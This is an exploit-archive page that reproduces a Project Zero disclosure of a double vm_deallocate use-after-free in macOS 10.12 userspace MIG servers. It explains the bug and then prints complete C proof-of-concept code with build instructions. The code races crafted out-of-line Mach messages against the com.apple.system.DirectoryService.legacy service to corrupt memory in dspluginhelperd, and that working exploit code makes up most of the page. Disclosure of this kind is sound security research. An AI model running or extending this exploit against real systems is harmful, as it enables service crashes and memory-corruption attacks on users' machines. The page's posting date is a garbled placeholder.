MacOS 10.12 Double vm_deallocate in Userspace MIG Code Use-After-Free
Posted on 30 November -0001
<HTML><HEAD><TITLE>macOS 10.12 Double vm_deallocate in Userspace MIG Code Use-After-Free</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=954 Proofs of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40954.zip Userspace MIG services often use mach_msg_server or mach_msg_server_once to implent an RPC server. These two functions are also responsible for managing the resources associated with each message similar to the ipc_kobject_server routine in the kernel. If a MIG handler method returns an error code then it is assumed to not have take ownership of any of the resources in the message and both mach_msg_server and mach_msg_server_once will pass the message to mach_msg_destroy: If the message had and OOL memory descriptor it reaches this code: case MACH_MSG_OOL_DESCRIPTOR : { mach_msg_ool_descriptor_t *dsc; dsc = &saddr->out_of_line; if (dsc->deallocate) { mach_msg_destroy_memory((vm_offset_t)dsc->address, dsc->size); } break; } ... static void mach_msg_destroy_memory(vm_offset_t addr, vm_size_t size) { if (size != 0) (void) vm_deallocate(mach_task_self(), addr, size); } If the deallocate flag is set in the ool descriptor then this will pass the address contained in the descriptor to vm_deallocate. By default MIG client code passes OOL memory with the copy type set to MACH_MSG_PHYSICAL_COPY which ends up with the receiver getting a 0 value for deallocate (meaning that you *do* need vm_deallocate it in the handler even if you return and error) but by setting the copy type to MACH_MSG_VIRTUAL_COPY in the sender deallocate will be 1 in the receiver meaning that in cases where the MIG handler vm_deallocate's the ool memory and returns an error code the mach_msg_* code will deallocate it again. Exploitability hinges on being able to get the memory reallocated inbetween the two vm_deallocate calls, probably in another thread. This PoC only demonstrates that an instance of the bug does exist in the first service I looked at, com.apple.system.DirectoryService.legacy hosted by /usr/libexec/dspluginhelperd. Trace through in a debugger and you'll see the two calls to vm_deallocate, first in _receive_session_create which returns an error code via the MIG reply message then in mach_msg_destroy. Note that this service has multiple threads interacting with mach messages in parallel. I will have a play with some other services and try to exploit an instance of this bug class but the severity should be clear from this PoC alone. Tested on MacOS Sierra 10.12 16A323 ############################################################################## crash PoC dspluginhelperd actually uses a global dispatch queue to receive and process mach messages, these are by default parallel which makes triggering this bug to demonstrate memory corruption quite easy, just talk to the service on two threads in parallel. Note again that this isn't a report about this particular bug in this service but about the MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server eg in notifyd and lots of other services all have the same issue. */ // ianbeer // build: clang -o dsplug_parallel dsplug_parallel.c -lpthread /* crash PoC dspluginhelperd actually uses a global dispatch queue to receive and process mach messages, these are by default parallel which makes triggering this bug to demonstrate memory corruption quite easy, just talk to the service on two threads in parallel. Note again that this isn't a report about this particular bug in this service but about the MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server eg in notifyd and lots of other services all have the same issue. */ #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <servers/bootstrap.h> #include <mach/mach.h> char* service_name = "com.apple.system.DirectoryService.legacy"; mach_msg_header_t* msg; struct dsmsg { mach_msg_header_t hdr; // +0 (0x18) mach_msg_body_t body; // +0x18 (0x4) mach_msg_port_descriptor_t ool_port; // +0x1c (0xc) mach_msg_ool_descriptor_t ool_data; // +0x28 (0x10) uint8_t payload[0x8]; // +0x38 (0x8) uint32_t ool_size; // +0x40 (0x4) }; // +0x44 mach_port_t service_port = MACH_PORT_NULL; void* do_thread(void* arg) { struct dsmsg* msg = (struct dsmsg*)arg; for(;;){ kern_return_t err; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct dsmsg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("%s ", mach_error_string(err)); } return NULL; } int main() { mach_port_t bs; task_get_bootstrap_port(mach_task_self(), &bs); kern_return_t err = bootstrap_look_up(bs, service_name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s ", service_name); return 1; } if (service_port == MACH_PORT_NULL) { printf("bad service port "); return 1; } printf("got port "); void* ool = malloc(0x100000); memset(ool, 'A', 0x1000); struct dsmsg msg = {0}; msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); msg.hdr.msgh_remote_port = service_port; msg.hdr.msgh_local_port = MACH_PORT_NULL; msg.hdr.msgh_id = 0x2328; // session_create msg.body.msgh_descriptor_count = 2; msg.ool_port.name = MACH_PORT_NULL; msg.ool_port.disposition = 20; msg.ool_port.type = MACH_MSG_PORT_DESCRIPTOR; msg.ool_data.address = ool; msg.ool_data.size = 0x1000; msg.ool_data.deallocate = 0; //1; msg.ool_data.copy = MACH_MSG_VIRTUAL_COPY;//MACH_MSG_PHYSICAL_COPY; msg.ool_data.type = MACH_MSG_OOL_DESCRIPTOR; msg.ool_size = 0x1000; pthread_t threads[2] = {0}; pthread_create(&threads[0], NULL, do_thread, (void*)&msg); pthread_create(&threads[1], NULL, do_thread, (void*)&msg); pthread_join(threads[0], NULL); pthread_join(threads[1], NULL); return 0; } </BODY></HTML>